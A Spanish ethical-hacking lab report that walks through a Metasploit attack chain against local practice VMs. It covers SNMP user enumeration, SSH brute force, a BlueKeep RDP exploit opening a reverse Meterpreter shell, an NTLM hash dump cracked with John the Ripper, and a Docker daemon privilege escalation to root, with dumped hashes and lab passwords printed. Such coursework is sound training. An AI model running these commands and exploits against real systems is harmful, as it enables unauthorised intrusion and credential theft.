METASPLOIT MISC

HACKING ETICO

ERIC SERRANO MARÍN

Contenido

Ssh bruteforce.

Obtención de lista de usuarios mediante NMAP.

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -p 161 --script "/usr/share/nmap/scripts/snmp-wi
n32-users.nse" 192.168.56.102
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 17:21 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DN
S is disabled. Try using --system-dns or specify valid servers wit
h --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00091s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-win32-users:
|   Administrator
|   Guest
|   anakin_skywalker
|   artoo_detoo
|   attacker
|   ben_kenobi
|   boba_fett
|   c_three_pio
|   chewbacca
|   darth_vader
|   greedo
|   han_solo
|   jabba_hutt
|   jarjar_binks
|   kylo_ren
|   lando_calrissian
|   leia_organa
|   luke_skywalker
|   sshd
|   sshd_server
|_  vagrant
MAC Address: 08:00:27:D7:CC:D8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
```

Obtención de lista de usuarios mediante Metasploit.

Buscamos el modulo que queremos.

```
msf6 > search snmp type:auxiliary

Matching Modules
================

   #  Name                                                     Disclosure Date  Rank    Check  Description
   -  ----                                                     ---------------  ----    -----  -----------
   0  auxiliary/scanner/snmp/aix_version                                        normal  No     AIX SNMP Scanner Auxiliary Module
   1  auxiliary/scanner/snmp/sbg6580_enum                                       normal  No     ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module
   2  auxiliary/scanner/snmp/arris_dg950                                        normal  No     Arris DG950A Cable Modem Wifi Enumeration
   3  auxiliary/scanner/snmp/brocade_enumhash                                   normal  No     Brocade Password Hash Enumeration
   4  auxiliary/scanner/snmp/cnpilot_r_snmp_loot                                normal  No     Cambium cnPilot r200/r201 SNMP Enumeration
   5  auxiliary/scanner/snmp/epmp1000_snmp_loot                                 normal  No     Cambium ePMP 1000 SNMP Enumeration
   6  auxiliary/admin/networking/cisco_asa_extrabacon                           normal  Yes    Cisco ASA Authentication Bypass (EXTRABACON)
   7  auxiliary/scanner/snmp/cisco_config_tftp                                  normal  No     Cisco IOS SNMP Configuration Grabber (TFTP)
   8  auxiliary/scanner/snmp/cisco_upload_file                                  normal  No     Cisco IOS SNMP File Upload (TFTP)
   9  auxiliary/scanner/snmp/snmp_enum_hp_laserjet                              normal  No     HP LaserJet Printer SNMP Enumeration
   10 auxiliary/admin/scada/moxa_credentials_recovery  2015-07-28               normal  Yes    Moxa Device Credential Retrieval
   11 auxiliary/scanner/snmp/netopia_enum                                       normal  No     Netopia 3347 Cable Modem Wifi Enumeration
   12 auxiliary/scanner/misc/oki_scanner                                        normal  No     OKI Printer Default Login Credential Scanner
   13 auxiliary/scanner/snmp/snmp_login                                         normal  No     SNMP Community Login Scanner
   14 auxiliary/scanner/snmp/snmp_enum                                          normal  No     SNMP Enumeration Module
   15 auxiliary/scanner/snmp/snmp_set                                           normal  No     SNMP Set Module
   16 auxiliary/scanner/snmp/snmp_enumshares                                    normal  No     SNMP Windows SMB Share Enumeration
   17 auxiliary/scanner/snmp/snmp_enumusers                                     normal  No     SNMP Windows Username Enumeration
   18 auxiliary/scanner/snmp/ubee_ddw3611                                       normal  No     Ubee DDW3611b Cable Modem Wifi Enumeration
   19 auxiliary/scanner/snmp/xerox_workcentre_enumusers                         normal  No     Xerox WorkCentre User Enumeration (SNMP)

Interact with a module by name or index. For example info 19, use 19 or use auxiliary/scanner/snmp/xerox_workcentre_enumusers
```

Lo seleccionamos.

```
16 auxiliary/scanner/snmp/snmp_enumshares
17 auxiliary/scanner/snmp/snmp_enumusers
18 auxiliary/scanner/snmp/ubee_ddw3611
19 auxiliary/scanner/snmp/xerox_workcentre_enumuse

Interact with a module by name or index. For example i

msf6 > use 17
msf6 auxiliary(scanner/snmp/snmp_enumusers) > ^[;
```

Aquí tenemos la lista de usuarios.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf6 auxiliary(scanner/snmp/snmp_enumusers) > exploit

[+] 192.168.56.102:161 Found 21 users: Administrator, Guest, anakin_skywalker, artoo_detoo, attacker, ben_kenobi, boba_fett, c_three_pio, chewbacca, darth_va
der, greedo, han_solo, jabba_hutt, jarjar_binks, kylo_ren, lando_calrissian, leia_organa, luke_skywalker, sshd, sshd_server, vagrant
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/snmp/snmp_enumusers) >
```

Y aquí la vemos guardada en creds.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > notes 192.168.56.102

Notes
=====

 Time                     Host            Service  Port  Protocol  Type                        Data
 ----                     ----            -------  ----  --------  ----                        ----
 2024-02-06 22:15:47 UTC  192.168.56.102                            host.os.nessus_fingerprint  {:os=>"Microsoft Windows Server 2008 R2 Standard Service Pack 1"}
 2024-02-06 22:15:47 UTC  192.168.56.102                            host.imported               {:filename=>"/home/kali/Downloads/Advanced Scan-Windows_Ubuntu_tjqkee.nessus", :type=>"Ness
                                                                                                us XML (v2)", :time=>2024-02-06 22:19:53.096685493 UTC}
 2024-02-06 22:19:53 UTC  192.168.56.102                            host.os.nmap_fingerprint    {:os_vendor=>"Microsoft", :os_family=>"Windows", :os_version=>"7", :os_accuracy=>100}
 2024-02-06 22:19:53 UTC  192.168.56.102                            host.last_boot              {:time=>"Tue Feb 13 17:43:49 2024"}
 2024-03-03 16:49:08 UTC  192.168.56.102                            glassfish.banner            {}
 2024-03-06 11:52:35 UTC  192.168.56.102                            host.os.session_fingerprint {:name=>"VAGRANT-2008R2", :os=>"Windows Server 2008 R2 (6.1 Build 7601, Service Pack 1).",
                                                                                                :arch=>"x64"}
 2024-03-07 22:24:20 UTC  192.168.56.102  snmp     161   udp       snmp.users                  ["Administrator", "Guest", "anakin_skywalker", "artoo_detoo", "attacker", "ben_kenobi", "bo
                                                                                                ba_fett", "c_three_pio", "chewbacca", "darth_vader", "greedo", "han_solo", "jabba_hutt", "j
                                                                                                arjar_binks", "kylo_ren", "lando_calrissian", "leia_organa", "luke_skywalker", "sshd", "ssh
                                                                                                d_server", "vagrant"]
```

Fuerza bruta

Para convertir todos los usuarios a una lista para usarla como diccionario he usado un script en python.

```
┌──(kali㉿kali)-[~]
└─$ cat script.py
#!/usr/bin/env python3

usuarios = ["Administrator", "Guest", "anakin_skywalker", "artoo_detoo", "attacker", "ben_kenobi", "boba_fett", "c_three_pio", "chewbacca", "darth_vader", "g
reedo", "han_solo", "jabba_hutt", "jarjar_binks", "kylo_ren", "lando_calrissian", "leia_organa", "luke_skywalker", "sshd", "sshd_server", "vagrant"]

# Abre un archivo en modo escritura
with open("usuarios.txt", "w") as archivo:
    # Escribe cada usuario en una línea del archivo
    for usuario in usuarios:
        archivo.write(usuario + "\n")
```

El script crea el archivo de texto y escribe en él cada usuario de la lista ‘usuarios’, y los coloca en líneas separadas.

```
└─$ emacs script.py

┌──(kali㉿kali)-[~]
└─$ ./script.py

┌──(kali㉿kali)-[~]
└─$ ls
adduser.exe            catalyst-setup-0.10.3  Eric         iexplore_pwned.exe     jenkins.exe    PrácticaHacking   Public      Templates
allPorts               Desktop                example.crt  INITIAL_API_KEY        Music          PrácticaMSFVENOM  putty.exe   usuarios.txt
backdoor.php           Documents              example.key  install_catalyst.sh    passwords.txt  PrácticaPKIPAR    script.py   Videos
catalyst_install.zip   Downloads              get-pip.py   install_volatility.sh  Pictures       Prueba            script.py~  wordlist

┌──(kali㉿kali)-[~]
└─$ cat usuarios.txt
Administrator
Guest
anakin_skywalker
artoo_detoo
attacker
ben_kenobi
boba_fett
c_three_pio
chewbacca
darth_vader
greedo
han_solo
jabba_hutt
jarjar_binks
kylo_ren
lando_calrissian
leia_organa
luke_skywalker
sshd
sshd_server
vagrant
```

Fuerza bruta a los usuarios de la lista.

```
msf6 auxiliary(scanner/snmp/snmp_enumusers) > search ssh_login

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                            normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                     normal  No     SSH Public Key Login Scanner


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 auxiliary(scanner/snmp/snmp_enumusers) > use 0
msf6 auxiliary(scanner/ssh/ssh_login) >
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file /home/kali/Downloads/rockyou.txt
pass_file => /home/kali/Downloads/rockyou.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set user_file /home/kali/
.ICEauthority                                .mozilla                                    .wget-hsts                                  adduser.exe
.Xauthority                                  .msf4                                       .xsession-errors                            allPorts
.bash_history                                .oh-my-bash                                 .xsession-errors.old                        backdoor.php
.bash_logout                                 .osh-update                                 .zsh_history                                catalyst-setup-0.10.3
.bashrc                                      .profile                                    .zshrc                                      catalyst_install.zip
.bashrc.old                                  .rnd                                        Desktop                                     example.crt
.bashrc.omb-backup-20240126114220            .sdirs                                      Documents                                   example.key
.bashrc.original                             .ssh                                        Downloads                                   get-pip.py
.cache                                       .sudo_as_admin_successful                   Eric                                        iexplore_pwned.exe
.config                                      .vboxclient-clipboard-tty7-control.pid      INITIAL_API_KEY                             install_catalyst.sh
.dbus                                        .vboxclient-clipboard-tty7-service.pid      Music                                       install_volatility.sh
.dmrc                                        .vboxclient-display-svga-x11-tty7-control.pid  Pictures                                 jenkins.exe
.emacs.d                                     .vboxclient-display-svga-x11-tty7-service.pid  Prueba                                   passwords.txt
.face                                        .vboxclient-draganddrop-tty7-control.pid    PrácticaHacking                             putty.exe
.face.icon                                   .vboxclient-draganddrop-tty7-service.pid    PrácticaMSFVENOM                            script.py
.gnupg                                       .vboxclient-hostversion-tty7-control.pid    PrácticaPKIPAR                              script.py~
.gvfs                                        .vboxclient-seamless-tty7-control.pid       Public                                      usuarios.txt
.java                                        .vboxclient-seamless-tty7-service.pid       Templates                                   wordlist
.local                                       .vboxclient-vmsvga-session-tty7-control.pid Videos
msf6 auxiliary(scanner/ssh/ssh_login) > set user_file /home/kali/usuarios.txt
user_file => /home/kali/usuarios.txt
msf6 auxiliary(scanner/ssh/ssh_login) >
```

No ha habido suerte con el archivo rockyou.txt

```
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 192.168.56.102:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > creds
Credentials
===========

host  origin  service  public  private  realm  private_type  JtR Format  cracked_password
----  ------  -------  ------  -------  -----  ------------  ----------  ----------------
```

Meterpreter y Hashes.

Aquí tenemos la sesión iniciada.

```
[*] Exploit completed, but no session was created.
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[*] 192.168.56.102:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.102:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.56.102:3389   - The target is vulnerable. The target attempted cleanup of the incorre
[*] 192.168.56.102:3389   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.56.102:3389 - The target is vulnerable. The target attempted cleanup of the incorrect
[*] 192.168.56.102:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8011e
[!] 192.168.56.102:3389 - ←————————— | Entering Danger Zone | —————————→
[*] 192.168.56.102:3389 - Surfing channels ...
[*] 192.168.56.102:3389 - Lobbing eggs ...
[*] 192.168.56.102:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.56.102:3389 - ←————————— | Leaving Danger Zone | —————————→
[*] Sending stage (201798 bytes) to 192.168.56.102
[*] Meterpreter session 16 opened (192.168.56.103:4444 → 192.168.56.102:49281) at 2024-03-07 19:

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
attacker:1019:aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16eb935f1e:::
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee:::
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0:::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951:::
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76:::
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4:::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001:::
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f:::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

Observamos cómo se nos ha guardado todo.

```
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > creds
Credentials
```

host	origin	service	public	private	realm	private_type	JtR Format	cracked_password
192.168.56.102	192.168.56.102	445/tcp (smb)	Administrator	aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	anakin_skywalker	aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	artoo_detoo	aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	attacker	aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16eb935f1e		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	ben_kenobi	aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	boba_fett	aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	chewbacca	aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	c_three_pio	aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	darth_vader	aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	greedo	aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	han_solo	aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	jabba_hutt	aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	jarjar_binks	aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	kylo_ren	aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	lando_calrissian	aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	leia_organa	aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	luke_skywalker	aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a		NTLM hash	nt,lm	
192.168.56.102	192.168.56.102	445/tcp (smb)	sshd_server	aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035		NTLM hash	nt,lm	

Para romper estos hashes hacemos uso del módulo crack_windows que emplea la herramienta JohnTheRipper. Se ha tirado 3 horas y 49min y solo ha conseguido crackear 3.

```
0g 0:03:49:29  3/3 0g/s 34259Kp/s 34259Kc/s 548157KC/s r0ychofy..r0ychyba
Session aborted
[-] Stopping running against current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
msf6 auxiliary(analyze/crack_windows) >
```

```
msf6 auxiliary(analyze/crack_windows) > creds
Credentials
=========

host            origin          service        public           private                                          realm  private_type  JtR Format  cracked_password
----            ------          -------        ------           -------                                          -----  ------------  ----------  ----------------
192.168.56.102  192.168.56.102  445/tcp (smb)  Administrator    aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b        NTLM hash     nt,lm       vagrant
192.168.56.102  192.168.56.102  445/tcp (smb)  anakin_skywalker aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  artoo_detoo      aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  attacker         aad3b435b51404eeaad3b435b51404ee:ac288d0d650702712a6a0f16eb935f1e        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  ben_kenobi       aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  boba_fett        aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  chewbacca        aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  c_three_pio      aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee        NTLM hash     nt,lm       pr0t0c0l
192.168.56.102  192.168.56.102  445/tcp (smb)  darth_vader      aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  greedo           aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  han_solo         aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  jabba_hutt       aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  jarjar_binks     aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  kylo_ren         aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  lando_calrissian aad3b435b51404eeaad3b435b51404ee:6270845589 8f2d7db11cfb670042a53f        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  leia_organa      aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  luke_skywalker   aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  sshd_server      aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035        NTLM hash     nt,lm
192.168.56.102  192.168.56.102  445/tcp (smb)  vagrant          aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b        NTLM hash     nt,lm       vagrant

msf6 auxiliary(analyze/crack_windows) >
```

Usando john the ripper fuera de msfconsole hemos encontrado vagrant, pongo captura para que se vea que lo he intentado de dos formas, aunque para esta segunda lo he cancelado en 15min porque no quiero perder más tiempo, ya que la máquina me va lenta.

```
┌──(kali㉿kali)-[~]
└─$ john --format=nt hashes.txt
Using default input encoding: UTF-8
Loaded 19 password hashes with no different salts (NT [MD4 128/128 SSE2
 4×3])
Warning: no OpenMP support for this hash type, consider --fork=3
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if
any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
0g 0:00:08:33  3/3 0g/s 33327Kp/s 33327Kc/s 633222KC/s 21ccotan..21ccot
s6
vagrant          (aad3b435b51404eeaad3b435b51404ee)
vagrant          (aad3b435b51404eeaad3b435b51404ee)
2g 0:00:13:40  3/3 0.002438g/s 32953Kp/s 32953Kc/s 622342KC/s m2f4cek..m2f4cci
```

Elevación de privilegios

Listado de usuarios de Docker.

```
grep docker /etc/group
docker:x:999:boba_fett,jabba_hutt,greedo,chewbacca
```

Vamos a usar esto que ya hemos sacado de prácticas anteriores, donde podemos encontrar varias contraseñas de los usuarios anteriormente cogidos de docker.

	Edit	Copy	Delete	leia_organa	Leia	Organa	help_me_obiwan
	Edit	Copy	Delete	luke_skywalker	Luke	Skywalker	like_my_father_befc
	Edit	Copy	Delete	han_solo	Han	Solo	nerf_herder
	Edit	Copy	Delete	artoo_detoo	Artoo	Detoo	b00p_b33p
	Edit	Copy	Delete	c_three_pio	C	Threepio	Pr0t0c07
	Edit	Copy	Delete	ben_kenobi	Ben	Kenobi	thats_no_m00n
	Edit	Copy	Delete	darth_vader	Darth	Vader	Dark_syD3
	Edit	Copy	Delete	anakin_skywalker	Anakin	Skywalker	but_master:(
	Edit	Copy	Delete	jarjar_binks	Jar-Jar	Binks	mesah_p@ssw0rd
	Edit	Copy	Delete	lando_calrissian	Lando	Calrissian	@dm1n1str8r
	Edit	Copy	Delete	boba_fett	Boba	Fett	mandalorian1
	Edit	Copy	Delete	jabba_hutt	Jaba	Hutt	my_kinda_skum

Nos conectaremos por ssh al usuario boba_fett.

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD          mandalorian1     no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS            192.168.56.101   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME          boba_fett        no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts
```

Haremos un set sesión 1.

```
msf6 auxiliary(scanner/ssh/ssh_login) > show sessions
Active sessions
==============

  Id  Name  Type          Information  Connection
  --  ----  ----          -----------  ----------
  1         shell linux   SSH kali @   192.168.56.103:43013 → 192.168.56.101:22 (192.168.56.101)
```

Ahora con la sesión ya puesta, podrémos usar el modulo Linux/local/docker_daemon_privilege_escalation.

```
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Docker daemon is accessible.
[+] The target is vulnerable.
[*] Writing payload executable to '/tmp/ScDmQucd'
[*] Executing script to create and run docker container
[*] Waiting 60s for payload
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/docker_daemon_privilege_escalation) >
```

Como podemos observar no ha funcionado, se debe a que el payload no es compatible.

Después de un rato buscando, he encontrado este payload que si funciona, Linux/x86/meterpreter/reverse_tcp. (creo que hubiese funcionado con cualquiera que me diese una Shell meterpreter).

```
Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.103   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/docker_daemon_privilege_escalation) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Docker daemon is accessible.
[+] The target is vulnerable.
[*] Writing payload executable to '/tmp/ZmbrwWlyEI'
[*] Executing script to create and run docker container
[*] Sending stage (1017704 bytes) to 192.168.56.101
[*] Waiting 60s for payload
[+] Deleted /tmp/ZmbrwWlyEI
[*] Meterpreter session 2 opened (192.168.56.103:4444 → 192.168.56.101:34547) at 2024-03-09 08:15:58 -0500

meterpreter > getuid
Server username: root
meterpreter >
```